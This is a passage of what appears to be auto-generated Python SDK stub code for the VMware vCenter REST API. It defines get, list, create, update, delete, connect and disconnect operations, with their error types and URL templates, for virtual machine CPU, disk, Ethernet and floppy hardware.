'connect': connect_rest_metadata,
'disconnect': disconnect_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.cdrom',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class _CpuStub(ApiInterfaceStub):
def __init__(self, config):
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/cpu',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for update operation
update_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Cpu.UpdateSpec'),
})
update_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.invalid_argument':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
update_input_value_validator_list = [
]
update_output_validator_list = [
]
update_rest_metadata = OperationRestMetadata(
http_method='PATCH',
url_template='/vcenter/vm/{vm}/hardware/cpu',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
operations = {
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Cpu.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'update': {
'input_type': update_input_type,
'output_type': type.VoidType(),
'errors': update_error_dict,
'input_value_validator_list': update_input_value_validator_list,
'output_validator_list': update_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'get': get_rest_metadata,
'update': update_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.cpu',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class _DiskStub(ApiInterfaceStub):
def __init__(self, config):
# properties for list operation
list_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
list_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
list_input_value_validator_list = [
]
list_output_validator_list = [
]
list_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/disk',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'disk': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Disk'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/disk/{disk}',
path_variables={
'vm': 'vm',
'disk': 'disk',
},
query_parameters={
}
)
# properties for create operation
create_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Disk.CreateSpec'),
})
create_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.unable_to_allocate_resource':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'UnableToAllocateResource'),
'com.vmware.vapi.std.errors.resource_in_use':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInUse'),
'com.vmware.vapi.std.errors.invalid_argument':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
'com.vmware.vapi.std.errors.unsupported':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unsupported'),
}
create_input_value_validator_list = [
]
create_output_validator_list = [
]
create_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/disk',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for update operation
update_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'disk': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Disk'),
'spec': type.ReferenceType(__name__, 'Disk.UpdateSpec'),
})
update_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
update_input_value_validator_list = [
]
update_output_validator_list = [
]
update_rest_metadata = OperationRestMetadata(
http_method='PATCH',
url_template='/vcenter/vm/{vm}/hardware/disk/{disk}',
path_variables={
'vm': 'vm',
'disk': 'disk',
},
query_parameters={
}
)
# properties for delete operation
delete_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'disk': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Disk'),
})
delete_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
delete_input_value_validator_list = [
]
delete_output_validator_list = [
]
delete_rest_metadata = OperationRestMetadata(
http_method='DELETE',
url_template='/vcenter/vm/{vm}/hardware/disk/{disk}',
path_variables={
'vm': 'vm',
'disk': 'disk',
},
query_parameters={
}
)
operations = {
'list': {
'input_type': list_input_type,
'output_type': type.ListType(type.ReferenceType(__name__, 'Disk.Summary')),
'errors': list_error_dict,
'input_value_validator_list': list_input_value_validator_list,
'output_validator_list': list_output_validator_list,
'task_type': TaskType.NONE,
},
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Disk.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'create': {
'input_type': create_input_type,
'output_type': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Disk'),
'errors': create_error_dict,
'input_value_validator_list': create_input_value_validator_list,
'output_validator_list': create_output_validator_list,
'task_type': TaskType.NONE,
},
'update': {
'input_type': update_input_type,
'output_type': type.VoidType(),
'errors': update_error_dict,
'input_value_validator_list': update_input_value_validator_list,
'output_validator_list': update_output_validator_list,
'task_type': TaskType.NONE,
},
'delete': {
'input_type': delete_input_type,
'output_type': type.VoidType(),
'errors': delete_error_dict,
'input_value_validator_list': delete_input_value_validator_list,
'output_validator_list': delete_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'list': list_rest_metadata,
'get': get_rest_metadata,
'create': create_rest_metadata,
'update': update_rest_metadata,
'delete': delete_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.disk',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class _EthernetStub(ApiInterfaceStub):
def __init__(self, config):
# properties for list operation
list_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
list_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
list_input_value_validator_list = [
]
list_output_validator_list = [
]
list_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/ethernet',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'nic': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Ethernet'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/ethernet/{nic}',
path_variables={
'vm': 'vm',
'nic': 'nic',
},
query_parameters={
}
)
# properties for create operation
create_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Ethernet.CreateSpec'),
})
create_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.unable_to_allocate_resource':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'UnableToAllocateResource'),
'com.vmware.vapi.std.errors.invalid_argument':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
'com.vmware.vapi.std.errors.unsupported':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unsupported'),
}
create_input_value_validator_list = [
]
create_output_validator_list = [
]
create_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/ethernet',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for update operation
update_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'nic': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Ethernet'),
'spec': type.ReferenceType(__name__, 'Ethernet.UpdateSpec'),
})
update_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.invalid_argument':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
update_input_value_validator_list = [
]
update_output_validator_list = [
]
update_rest_metadata = OperationRestMetadata(
http_method='PATCH',
url_template='/vcenter/vm/{vm}/hardware/ethernet/{nic}',
path_variables={
'vm': 'vm',
'nic': 'nic',
},
query_parameters={
}
)
# properties for delete operation
delete_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'nic': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Ethernet'),
})
delete_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
delete_input_value_validator_list = [
]
delete_output_validator_list = [
]
delete_rest_metadata = OperationRestMetadata(
http_method='DELETE',
url_template='/vcenter/vm/{vm}/hardware/ethernet/{nic}',
path_variables={
'vm': 'vm',
'nic': 'nic',
},
query_parameters={
}
)
# properties for connect operation
connect_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'nic': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Ethernet'),
})
connect_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.already_in_desired_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyInDesiredState'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
connect_input_value_validator_list = [
]
connect_output_validator_list = [
]
connect_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/ethernet/{nic}/connect',
path_variables={
'vm': 'vm',
'nic': 'nic',
},
query_parameters={
}
)
# properties for disconnect operation
disconnect_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'nic': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Ethernet'),
})
disconnect_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.already_in_desired_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyInDesiredState'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
disconnect_input_value_validator_list = [
]
disconnect_output_validator_list = [
]
disconnect_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/ethernet/{nic}/disconnect',
path_variables={
'vm': 'vm',
'nic': 'nic',
},
query_parameters={
}
)
operations = {
'list': {
'input_type': list_input_type,
'output_type': type.ListType(type.ReferenceType(__name__, 'Ethernet.Summary')),
'errors': list_error_dict,
'input_value_validator_list': list_input_value_validator_list,
'output_validator_list': list_output_validator_list,
'task_type': TaskType.NONE,
},
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Ethernet.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'create': {
'input_type': create_input_type,
'output_type': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Ethernet'),
'errors': create_error_dict,
'input_value_validator_list': create_input_value_validator_list,
'output_validator_list': create_output_validator_list,
'task_type': TaskType.NONE,
},
'update': {
'input_type': update_input_type,
'output_type': type.VoidType(),
'errors': update_error_dict,
'input_value_validator_list': update_input_value_validator_list,
'output_validator_list': update_output_validator_list,
'task_type': TaskType.NONE,
},
'delete': {
'input_type': delete_input_type,
'output_type': type.VoidType(),
'errors': delete_error_dict,
'input_value_validator_list': delete_input_value_validator_list,
'output_validator_list': delete_output_validator_list,
'task_type': TaskType.NONE,
},
'connect': {
'input_type': connect_input_type,
'output_type': type.VoidType(),
'errors': connect_error_dict,
'input_value_validator_list': connect_input_value_validator_list,
'output_validator_list': connect_output_validator_list,
'task_type': TaskType.NONE,
},
'disconnect': {
'input_type': disconnect_input_type,
'output_type': type.VoidType(),
'errors': disconnect_error_dict,
'input_value_validator_list': disconnect_input_value_validator_list,
'output_validator_list': disconnect_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'list': list_rest_metadata,
'get': get_rest_metadata,
'create': create_rest_metadata,
'update': update_rest_metadata,
'delete': delete_rest_metadata,
'connect': connect_rest_metadata,
'disconnect': disconnect_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.ethernet',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class _FloppyStub(ApiInterfaceStub):
def __init__(self, config):
# properties for list operation
list_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
list_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
list_input_value_validator_list = [
]
list_output_validator_list = [
]
list_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/floppy',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'floppy': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Floppy'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/floppy/{floppy}',
path_variables={
'vm': 'vm',
'floppy': 'floppy',
},
query_parameters={
}
)
# properties for create operation
create_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Floppy.CreateSpec'),
})
create_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.unable_to_allocate_resource':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'UnableToAllocateResource'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
create_input_value_validator_list = [
]
create_output_validator_list = [
]
create_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/floppy',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for update operation
update_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'floppy': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Floppy'),
'spec': type.ReferenceType(__name__, 'Floppy.UpdateSpec'),
})
update_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
update_input_value_validator_list = [
]
update_output_validator_list = [
]
update_rest_metadata = OperationRestMetadata(
http_method='PATCH',
url_template='/vcenter/vm/{vm}/hardware/floppy/{floppy}',
path_variables={
'vm': 'vm',
'floppy': 'floppy',
},
query_parameters={
}
)
# properties for delete operation
delete_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'floppy': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Floppy'),
})
delete_error_dict = {
'com.vmware.vapi.std.errors.error':
